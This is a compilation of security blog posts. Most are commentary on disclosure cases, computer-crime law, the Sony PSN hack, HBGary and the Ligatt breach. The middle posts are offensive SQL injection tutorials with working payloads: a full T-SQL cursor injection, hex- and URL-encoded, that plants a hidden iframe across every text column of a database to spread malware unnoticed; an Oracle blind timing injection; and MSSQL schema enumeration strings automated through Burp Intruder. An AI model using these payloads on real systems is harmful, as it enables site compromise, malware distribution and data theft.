Some facts on the First State Superannuation Issue

Some blogger, has recently written a somewhat uninformed post on the whole Patrick Webster FSS issue. The author seems to be under some misapprehension about how these sorts of things work. Which is cocnerning for someone who claim to be a Web Application Security person, and is taking the pulpit to preach on the issue. Then again, why should we expect anything less from the Internet right?

In his post the author states: " It should go without saying that at this point that he could, just by the actions he had taken up to this point, be in violation of any number of data privacy laws."

Really, goes without saying? Actually it doesn't. Let's take a look. The first statue they claim he is in violation state the following:

308H   Unauthorised access to or modification of restricted data held in computer (summary offence)

(1)  A person:
(a)  who causes any unauthorised access to or modification of restricted data held in a computer, and
(b)  who knows that the access or modification is unauthorised, and
(c)  who intends to cause that access or modification,
      is guilty of an offence.
Maximum penalty: Imprisonment for 2 years.

(2)  An offence against this section is a summary offence.
(3)  In this section:
restricted data means data held in a computer, being data to which access is restricted by an access control system associated with a function of the computer.


Let's look at the other statute that is referenced:

478.1  Unauthorised access to, or modification of, restricted data
             (1)  A person is guilty of an offence if:
                     (a)  the person causes any unauthorised access to, or modification of, restricted data; and
                     (b)  the person intends to cause the access or modification; and
                     (c)  the person knows that the access or modification is unauthorised; and
                     (d)  one or more of the following applies:
                              (i)  the restricted data is held in a Commonwealth computer;
                             (ii)  the restricted data is held on behalf of the Commonwealth;
                            (iii)  the access to, or modification of, the restricted data is caused by means of a carriage service.
Penalty:  2 years imprisonment.
             (2)  Absolute liability applies to paragraph (1)(d).
             (3)  In this section:
restricted data means data:
                     (a)  held in a computer; and
                     (b)  to which access is restricted by an access control system associated with a function of the computer.



Look closely at (3) in both statues. This can only apply if an access control was circumvented. Insecure Direct Object Reference is not bypassing an Access control. It is a complete lack of an Access Control. I may not be a lawyer, but I suspect that this charge would have a VERY hard time standing up in court.

It really is not hard to look up these statues online. I would suggest that people actually read up on the subject matter.  all and all, I would be surprised if this whole matter doesn't blow over. The worst that I suspect will happen is that they make Webster sign that agreement on page 2 of their letter or refuse him any further online access. They could, theoretically, even drop him as a customer I suppose. I doubt any serious legal action will occur, but I could be wrong.

Mr Webster,  I am behind you, and i am sure many others are too. Good luck.

When even Responsible Disclosure Fails

Disclaimer: The opinions expressed in this blog are my own, and do not reflect the views of anyone but myself.

In the latest incident, Patrick Webster of OSI Security, is under threat of legal action. This threat comes after he disclosed a vulnerability to First State Superannuation . The vulnerability was a case of direct Object Reference. By manipulating a GET parameter , Webster was able to access the statements of other customers. The legal threat is based around the idea that Webster violated Australian computer crime laws, and bypassed a security measure. Direct Object reference is not bypassing an access control. It is, by its very nature, the lack of an access control. Webster did not go public with this information, but rather went directly to the company to notify them of the flaw. On one hand, the company thanked him for his help. On the other hand they sicked the police after him and are trying to hold him responsible for the cost of fixing the flaw. Customers of First State Superannuation should be outraged at this. The company, which is responsible for protecting their customers' information has failed to do so. When one of these customers showed this failing, they held him responsible for it. The fact is, FSS has been negligent in providing proper security for their customers. They should be held accountable for this failing. Let's make a hypothetical analogy:

A customer walks into his bank, and asks to access his safety deposit box. They ask him his box number, and he tells them the wrong box number by accident. They bring him another person's box without verifying his identity. When he explains the mistake to them, they call the police and have him arrested.

If you read about this scenario in the newspaper you would be outraged. Why should it be any different in this case?

What is even more deeply disturbing, is the fact that this is far from an isolated incident. In the past year, there have been at least 2 other cases just like this. Earlier this year, a security researched by the handle of Acidgen disclosed a buffer overflow vulnerability to German Software company Magix. Acidgen contacted the company with the information, and had supposedly amiable communication with them. During the course of his conversation, he supplied them with a Proof of Concept that opened up calculator when run. He asked the company to let him know when it would be patched so he could release the details after it had been fixed. This is when Magix began threatening legal action against Acidgen. Among their claims, are the claims that sending the PoC to them constituted distribution of 'hacking tools'. They also claim his intent to release the details after a patch constitutes extortion.

Another example is the PlentyofFish.com dating site hack. Security researchers discovered a vulnerability in the site that allowed access to customers' private data. The researchers claim that they simply informed the operators of the site of the vulnerability. In a bizarre twist, the owner of the site posted a bizarre rambling blog post where he claimed that the researchers attempted to extort him. His story was bizarre in the extreme indicating Russian Mob involvement, extortion, and even originally implicated journalist Brian Krebs in this scheme.

What I see here is a very alarming trend. Companies are trying to redirect all blame for their own failings to the very people who are trying to help make them more secure. If this trend continues, researchers will simply stop practicing responsible disclosure to most of these companies. In some cases the disclosure will go back to Full Disclosure practices. Otherwise, some researchers will just keep silent.

So what would First State Superannuation say if Webster had kept silent. Then a month later someone far less scrupulous exploited this vulnerability to attempt to make a profit. FSS should be thanking Webster for saving them all the embarrassment and possible repercussions of their irresponsible 'security' practices. These companies need to wake up and work with the community to help protect themselves, or things are only going to get worse.

Sony PSN Hack: Leave GeoHot out of it

So I wandered by Geohot's latest place of residence today. I thought his posting was very well written and very nicely defined his stance. His work on opening up homebrew software on the PS3 was not aimed at enabling piracy, and he does not support or condone the PSN hack in any way. Despite this, he is flooded by comments blaming him either directly or indirectly for the hack. The level of ignorance in this matter is astounding. After two decades on the internet, you'd think I would not be surprised at this point, but I still am. I suppose i just can't shake this pesky hope in humanity.

I want to lay this out in terms that, hopefully, even the dumbest internet denizen can understand:

1. George Hotz , Fail0verflow and any other Homebrewers did not support this attack. Their work was aimed to restore functionality that was stripped away from devices that they had bought specifically for that functionality. I wonder how many people would have bought a 360 instead of a PS3 if Sony hadn't advertised the OtherOS functionality. It was certainly one of the reasons I bought my first PS3. George hotz and these others did not perpetrate this attack
2. There is no evidence that this attack even had anything to do with the homebrew console debate. Consider the following. 

• If this was about revenge or embarrassing Sony, the attack would need to be public as quickly as possible to try and prevent Sony from sweeping it under the rug. 
• Nobody has come forward to take responsibility for the breach. Instead the information leaked out from Sony inevitably as they shut down their own service to get a handle on the Incident.
• The breach targeted customer data including PII(Personally Identifiable Information) and potentially Credit Card Data. These are high value targets monetarily
• The above mentioned lack of disclosure/credit taking is more indicative of someone looking to steal this data and sell it for profit
• Some will try to argue that the attacker could have expected Sony to disclose the breach but that has two huge gaping holes. First, if Sony's security was poor enough to let the breach happen in the first place, why should there be any expectation that they have proper safeguards in place to alert them to the breach. They obviously believed they had no reason to ever expect an attack like this. Secondly, why assume Sony would even admit to the breach. Plenty of companies suffer these kinds of breaches and do not report them. It happens a lot more than you might think.

The point is, that there is no evidence to support the idea that this has anything to do with the home brew console debate. In fact the little bit of evidence we have so far points to a common data theft. To all of you people who are jumping on anonymous or any other media buzz right now, do some reading. these sorts of breaches happen all the time. This breach was essentially inevitable as long as Sony failed to correct the security flaws in their system. If you want somebody to blame you have two parties to go after: Sony, and the people who actually stole your data. Plenty of blame to go around, you can leave GeoHot out of it.

Of Hacks, Leaks, and Legal Battles : Is anyone really winning?

In recent days we have seen what seems like an escalation in the battle for the Information Age.  These events are far from new, however they have taken on a more fevered pitch. I suppose it probably started with the whole WikiLeaks-Bradley Manning thing. This started quite a fierce fight both off and on the internet.  A fierce debate with highly polarized sides sprang up around the issue of WikiLeaks.

Into that fray jumped Anonymous. They took their own unique sense of purpose and went after anyone whom they felt had wronged WikiLeaks. This included attacks on Paypal,MasterCard and others. They took time off from their busy schedule of attacking PirateBay opponents around the world. These sorts of things are not all too uncommon, especially when dealing with Anon. They have made the news in the past. What was different this time was that there was already a frenzy around the wikiLeaks issue.

Soon a new subset appeared. This group would have us believe that they are independently operating patriotic hackers, such as th3j35t3r. I have my doubts as to how independent these folks really are. These people went after anonymous, wikileaks and anyone else supporting them. A sort of mini-cyberwar started. What I would like to note is interesting is that the US Department of Justice launched an immediate investigation into Anonymous to try and make arrests over their DoS attacks. However the sophisticated DoS attack that was carried out against wikileaks was just as illegal and yet the government remains silent on the subject.

The fighting and debating raged on around wikileaks. Many things occurred during the next several months that i don't feel the need to recap. Fast forwarding to the past few weeks. Aaron Barr, CEO of HBGary Federal made an announcement that he had 'infiltrated' Anonymous and discerned the true identities of the Anon leadership. (This statement alone seems to show a misunderstanding of the true nature of Anonymous, but look at some of my earlier posts for some of my theories on this subject). Aaron Barr apparently sought to use this information to leverage himself and his company into a bit of the spotlight. Allegedly, Barr was going to sell this information to the FBI.

In response a few members of anonymous launched an assault on HBGary federal during the super bowl. In short order they ahd compromised systems inside HBGary Federal, took control of rootkit.com, seized Aaron Barr;'s twitter account and the social networking accounts of several other folks at HBGary. They stole a large number of emails from the company, and allegedly wiped out HBGary's backups.

The initial assault left HBgary reeling and embarrassed like a kid who gets pants-ed at the bus stop. It got worse from there though. Amongst the stolen emails was a document supposedly composed by HBGary Federal and Palantir. The target audience was allegedly Bank of America. The subject matter? How to destroy wikileaks. The document details disinformation campings, smear attacks against pro-wikileaks journalists, Denial of Service attacks against wikileaks infrastructure, and attempts to infiltrate the group to discover the identities of document submitters. You can see a copy of the document here. BofA and Palantir began moving quickly to conduct damage control disavowing any knowledge of the document or its creation. Additional documentation has surfaced to cast doubts on some of these claims.

The lesson here so far? Even a security firm like HB Gary can get thoroughly spanked on the internet by not taking threats seriously. The damage to their company by these leaks is yet to be seen, but other companies are already cutting ties to try and protect themselves. In this case the Leak has already proven to be an effective weapon against a powerful company.



Meanwhile, another little drama was unfolding. The Gregory Evans/ Ligatt Security drama. Gregory Evans has been accused of being a charlatan for a while. He made claims of being the 'world's no 1 Hacker'. A ridiculous, and pompous proclamation if ever I've heard one. He released a book on how to become the world's no 1 hacker. A book which was quickly accused of large scale plagarism. Evans denied these accusations, and at one point claimed that he paid any third part content writers for their material. I do not know about the vast majority of this claim. However, Chris Gates, aka carna0wnage was one of the authors whose material appeared in the book. Gates denied ever receiving any payment or giving permission to Evans to use his material in the book. The material is so obviously ripped off, Evans even sued the same screenshots which include Chris Gates' name in the login prompts.

Enough about the gory details though. Suffice it to say, the Evans/Ligatt drama continued on. Evans fought back in the only way he seems to know how. He filed lawsuits. He filed quite a few lawsuits actually. He tried suing anyone and everyone he could that has ever said anything bad about him on the internet. Most of these lawsuits have failed completely, but that didn't stop Evans. Recently, on Gregory Evans' birthday, his email and twitter accounts were hacked. All of his email was leaked into a torrent on the internet and distributed. Since the leak of his email, one embarrassing piece of evidence after another surfaces from the spool.  Many of these documents were reposted to the LigattLeaks blog, which was originally hosted on WordPress.  Evans and Ligatt sent take-down demands to wordpress and the registrar for LiogattLeaks.org. Wordpress capitulated in the face of any possible legal ramifications, whether there was solid legal basis or not.

LigattLeaks has since moved on to a site at http://ligattleaks.blogs.ru and continues to post with impunity. Since LigattLeaks themselves claim they do not possess the mailspool and are only reposting things found on pastebin, they seems to be under no legal liability. The actual consequences of these leaks for Evans or Ligatt? Aside from a lot of embarassment, and a local news story , there has yet to be any serious consequence seen from this. however, Evan's litigious assaults on the infosec community seemed to have had no real effect either. So right now I'm calling this one a draw at the moment.

Now let's move on to the Sony PS3 case. The folks over at Fail0verflow got their hands on the keys used to sign software for the ps3. Well known hardware hacker GeoHot then built on this and created a modkit to allow home brew software to run on the ps3. Sony claims that this will only serve to enable piracy on their game consoles. they file suit against Geo Hot, subpoena all of his computer equipment and issue orders for his instructional videos to be stripped from the internet. In response the instructions, examples, and encryption keys are spread across the internet. Before the case against Geohot has even begun, sony is now trying to use the legal system to gain information on every person who viewed or commented on GeoHot's video on youtube. They are also seeking legal action against anyone who posts the encryption keys. This drama is still under way but I'm going to go ahead and call it now: Sony will lose, no matter what the trial outcome.

There is already a huge public outcry against Sony over this action. They may have already caused themselves irreparable brand damage. They have increased the actual awareness of these hacks. And there is no way that they can successfully suppress the information once it has begun disseminating through the internet. They are trying to stuff the proverbial Geenie back in the bottle. One has to wonder why they are doing this. They will not be able to recoup any significant losses. they won't be able to suppress the information. They are trying to lay down intimidation tactics. These intimidation tactics are of course having the opposite effect. One has to wonder if anonymous or another group won't turn it's attention towards the Sony mega-corporation. It would be very itneresting to see a battle between Anonymous and such a  huge company.


There are three examples of folks in the Corporate world trying to control and shape the Internet for their own benefit. All of them are failing miserably, and they are all starting to pay a heavy price for it.

Ligatt Security Breach - Gone too far

The latest development in the Gregory D Evans/Ligatt Security internet drama has gotten me thinking. For anyone who might not be familiar with what this is all about, I suggest you check out a few resources on the subject:
http://attrition.org/errata/charlatan/gregory_evans/
http://www.theregister.co.uk/2010/06/22/worlds_no_1_hacker/
http://packetstormsecurity.org/news/view/18569/Gregory-D.-Evans-Tried-To-Subpoena-Security-Researchers-Passwords.html
and a must read at: https://365.rsaconference.com/blogs/securityreading/2010/06/10/how-to-become-the-worlds-no-1-hacker

In case you buy any of Gregory Evans' claims that he had permission to use those works, Chris Gates also known as carnal0wnage has publicly said that he never gave Evans permission and never received money from Evans. The saga is long and drawn out, and I won't rehash it here.

The latest development is that Evans and Ligatt Security were breached this week. Someone compromised his computer, and with it his email and twitter accounts. It seems two of his websites may also have been brought down as part of this attack. The simple fact of the matter is that this action was unacceptable. Apparently among the released information was the personal information of a lot of innocent people, including social security numbers, bank accounts, and routing numbers. Now let me clarify this even more. Even if it was only Gregory Evans personal information, this would be unacceptable. Mr. Evans has a lot to answer for, but even he does not deserve to have his important personal information exposed in such a manner. This can be seen as nothing more than a violation of people's rights to privacy, no matter how much you might not like them. Those of us who are security professionals have made it our jobs to stop or prevent such violations from happening. The thought that such an attack may have come from within the InfoSec community is a worrisome one.

I will admit in a moment of human weakness I allowed myself to be glad of this news. That is a terrible thing, and upon reflection I find it a little embarrassing. The Internet has a power to take any disagreements or arguments and magnify them out of control until all pretense of civility is slowly eroded away and we are left with a monstrosity that no longer serves any purpose but to sustain itself. I see the examples of this in the recent Penny Arcade 'scandal' as well as the Ligatt drama. If we are past the point of behaving like mature rational beings it is time for us to absent ourselves from the discussion. Toward that end I would like to point out the posts I have seen by two people Matt Jezorek and Sam Bowne. Their articles are well thought out and examples of clear rational thinking, despite Sam Bowne's own involvement in this saga. These are the people we should want speaking for us, and those of us who can add nothing better than what they already are(myself included) should probably just sit down and shut up now.

That is all.

Abusing TSQL Cursors for massive SQL Injection

I'm sure that there are plenty of people who already know about this technique. I have just recently discovered it however. Upon research, it looks like some malware goonies were using this to try and spread Zeus. We are going to look at a very fast and nasty way of abusing a SQL Injection vector. We will be abusing TSQL Cursors in order to rewrite a very large amount of data. So let's build this attack.

First we want to craft our ultimate payload. in this case we are going to make an iframe such as this:


Now we want to spray our hidden little iframe all voer the site. In order to maximise our potential of exposing viewers to it, we are gonig to overwrite all the char, varchar,nchar, and nvarchar fields. We will append our iframe to the end of each record, trying to just add ourselves to the existing data and avoid notice for as long as possible. This is where the TSQL Cursor comes into play. We are going to declare a cursor, based off of the sysobjects and syscolumns table in master. We are looking in those tables for a list of all the *char columsn in suer defined tables. We then sue the cursor to fetch each record and append our iframe in. the query should look something like this:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

When we are all done, we close up shop, and deallocate the cursor. If everything went right, then we will be flying under the radar, and it could be a long time before anyone notices what we have done.

So now we have our payload, but we still need to get it in throguh the SQL Injection vector. to do this, we are going to use the Declare,CAST, EXEC method. We will convert our query to hex, which will give us:

0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b27273c696672616d65205352433d22687474703a2f2f636f73696e652d73656375726974792e626c6f6773706f742e636f6d223e272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72

In our Injection string we will Declare a variable "Declare @S", then we will cast our Hex String to nvarchar into @S, and then, finally, we Exec @S. Once we have it built, we then URL encode, and we have a nasty little package to send:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b27273c696672616d65205352433d22687474703a2f2f636f73696e652d73656375726974792e626c6f6773706f742e636f6d223e272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20AS%20NVARCHAR(4000));EXEC(@S);

This method, could of course b used in a number of different ways, but this is the probably the best bang for the buck. A quick and horribly easy way to turn a vulnerable site into a malware launching platform.

Oracle Blind SQL Injection : Timing Based Attack using Heavy Queries

This is a neat little trick my mate and I just learned about while testing an Oracle based application with a blind SQL Injection vector in it. It is not new by any means, nor did we discover it. Check out the defcon presentation that gave us the starting point, here. Conventional wisdom would have you believe that you cannot do timing based blind sqli against oracle, since there's no waitfor delay. What we have done is unioned in a query that, when true initiates a secondary 'heavy' query to the database. What we mean by heavy is that it tries to pull a lot of data, purposely slowing down the response time. Let's take a look at our example:

NULL UNION ALL SELECT SOME_FIELD_1 AS COL1, SOME_FIELD_2 AS COL2,((CASE WHEN EXISTS(SELECT SOME_FIELD_3 FROM SOME_TABLE_2 WHERE 0>(select count(*) from all_users t1, all_users t2,all_users t3,all_users t4) AND 1=1) THEN 'own' ELSE 'pwn' END)) as COL3 FROM SOME_TABLE_1,SOME_TABLE_2 ,DUAL WHERE --

 This shows us a true example which should trigger based on the 1=1. So for this query we will see a noticeable delay over the same query with 1=1 replaced by 1=2. that tells us that a true condition will take much longer to reply now. So all we have to do is replace the simple 1=1/1=2 structure with our own test parameters. This is where you get into inserting your counts,lengths, and ascii(substr portions and slowly and methodically enumerate out every last bit of data in the system. This is a great technique to sue when other Blind Injection techniques fail.

SQL Injection Tip of the Day: Table and Column enumeration in a single row

I will be getting around to putting together a comprehensive cheat sheet for sql injection. In the meantime, I figured I would release bits and pieces that I have found particularly useful. Today I want to talk about getting database schema metadata from Microsoft SQL Server 2005 and 2008(the technique may be slightly different for 2000).

This assumes you already have a sql inejction vector that allows serialisation of queries and union queries, and that the db user has create rights, although it can be modified to use update/insert into existing tables instead. So let's say you have found a sql injection vulnerability, but it will only return one row of results. That makes it an exceptionally arduous task to enumerate all the tables and their columns, one at a time. You can concatenate rows very easily, but you can't use concatenation against columns. This is where arrays come in to save the day. The first step is to inject a string like this:

';CREATE TABLE CT1 (tablenames VARCHAR(8000));DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+';' , '') + name from dbo.sysobjects where xtype='U'; INSERT INTO CT1(tablenames) Select @tablens;--

Remember to encode as needed. This creates a new table called CT1 with a max size varchar as it's only column. It then creates an array called tablens, and selects the entire name column from dbo.sysobjects where the object is a user table. Finally it inserts the array in semicolon delimited format into our newly created table.

Then we just do something silly like:
' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--

This of course returns the results, and clears the table out from behind us. We should now have all of the tablenames in this database. Using that we use the same attack vector, just slightly tweaked:


';DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+',' , '') + name from syscolumns where id=object_id('Table1'); INSERT INTO CT1(tablenames) Select @tablens;--
and
' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--

Now what I did, after making sure it worked, was to create a quick perl script. This perlscript took the list of tablenames, and custom generated the above attack strings for each table and put them into a text file. I then loaded this file into Burp Intruder as a custom payload, and let it run. Burp has enumerated almost all of the tables in a couple of minutes(this db had over 100 tables). Then it's just a matter of dumping all the results somewhere and pouring over it. Using this method, you can go from your proven sql injection vector to a map of the whole database in a very short amount of time.

And as ever, this showcases why Burpsuite Pro is a tester's best tool. How I ever worked without it is a mystery.

Defrauding the fantasy economy

There is an interesting story developing, about World of Warcraft account fraud. The original articles I found are over at Sunbelt Software and El Reg. Apparently, the latest round of WoW account hacks is using malware that intercepts the multi-factor authentication credentials, transmits them to a MitM server, and replays a failed login to the user. Meanwhile the MitM box replays the login data to the WoW authentication servers, and promptly empties their characters of their hard farmed gold. I would imagine that by the time the user successfully logged in, their characters would all be broke.

I feel that there are a couple of important take-aways from this story. The first, is one that plenty of other people have been saying for a long time now. The fraudsters are getting better. They are smart, they are dedicated, and they are engaged in an arms race with the Security Industry.  It raises serious concerns over our ability to stay on top of this arms race. Along those lines is the second point. This is nothing new either, but the end users are the weakest link. Yes, from a technical perspective the vector is a Trojan. Realistically though, it's a social engineering attack. The initial con where you get the user to download and install the new "add-on". Both sides of this attack vector are hard to stay on top of. Firstly, malware authors are very good at creating variants to escape AV definitions, so AV alone cannot be relied upon.  Secondly, how do you make sure users don't fall for these traps. Many would-be pundits will say it is the fault of "stupid users". In some cases this may be accurate, but let's be honest here, fraudsters have gotten VERY good at social engineering.

This is probably the biggest lesson of the over-hyped Aurora incident. Social Engineering can hit anyone. Users at google may not have had any reason to doubt the authenticity of the emails they received. They had no way to sense the  malignant payload carried in those innocent looking PDFs. Sure, intellectually we all know PDFs can have bad things in them. We also knew as kids that some people put razor blades in candy apples. I don't think most people tear apart their fruit before they eat it. Especially if it's someone they trust handing it to them. So how were these WoW users to know that this add-on was no good. There are known 'safe' repositories of add-on, you will undoubtedly say. We have seen how much of a fallacy even that can be. There is no reliable system of trust on the internet. It's a best guess effort. You might check around the forums to see if other people say anything about the add-on. You might do a google-search for the add-on and see what comes up, or even ask people in the game about it. If you're particularly in the know, you might even check the sites hosting it against something along the lines of Mcafee's Site Adviser . What do you do if all of these come up dry? Chances are, you're going to take a chance and install it. Conventional wisdom says, if you notice anything strange during the install, then you panic, remove it, and run an anti-virus. Malware authors are not so sloppy as to make it obvious anymore, though. So now you have installed software that, as far as you can tell, is exactly what it says it is. By the time you might realize you were wrong, it's already too late

So the question becomes, how do we fight this attack vector? There is no silver bullet answer. It is still just a best effort game. So we rely on the things that we know help protect us. We use only known trusted sources. We do some research on software before we install it. We might check Site Adviser, or upload the binary to Virus Total . We make sure our anti-virus is up to date, and our boxes are patched. Every once and a while, we may still get nailed.

There is a third take-away point in all of this, that I'd like to discuss briefly. This is perhaps the most bizarre piece of this. We have seen these sort of things all before. Spend a month reading the security blogs and new sites out there, and you'll be flooded with plenty of stories about targeted malware, and banking trojans. You'll see reports of botnets that stole millions of logins. What is truly strange about this particular case, at least to me, is the target. Remember that we are talking about World of Warcraft here, a video game. We are seeing the same amount of effort put into stealing video game logins as the people who break into bank accounts. People are breaking into a virtual world, committing fantasy identity theft, and using it to empty imaginary bank accounts of money that doesn't exist and cannot be sued outside of the confines of this imaginary world. And yet, they take this imaginary money, and they turn it into real money. It is all well rooted in the theory of supply and demand, I suppose. I, however, cannot shake the sensation that this is truly a strange situation we find ourselves in. It's rather like if we were playing a game of monopoly, and when you weren't looking I stole some of your play money. I then turn around and sell that play money to another player for $100. Is it just me, or does anyone else find this to be insane?